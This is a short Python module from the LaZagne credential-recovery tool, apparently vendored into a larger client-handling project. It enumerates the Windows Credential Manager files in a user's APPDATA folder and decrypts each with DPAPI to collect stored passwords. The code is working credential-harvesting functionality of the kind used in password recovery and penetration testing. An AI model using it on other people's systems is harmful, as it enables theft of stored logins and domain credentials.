blob: 7d5a76a2a54242287b196cbc846d2a65aab17360 (
plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
# -*- coding: utf-8 -*-
from foreign.client_handling.lazagne.config.module_info import ModuleInfo
from foreign.client_handling.lazagne.config.constant import constant
import os
class CredFiles(ModuleInfo):
def __init__(self):
ModuleInfo.__init__(self, 'credfiles', 'windows', dpapi_used=True)
def run(self):
pwd_found = []
if constant.user_dpapi and constant.user_dpapi.unlocked:
creds_directory = os.path.join(constant.profile['APPDATA'], u'Microsoft', u'Credentials')
if os.path.exists(creds_directory):
for cred_file in os.listdir(creds_directory):
# decrypting creds files (Credman module not allow to retrieve domain password)
cred = constant.user_dpapi.decrypt_cred(os.path.join(creds_directory, cred_file))
if cred:
pwd_found.append(cred)
return pwd_found
|
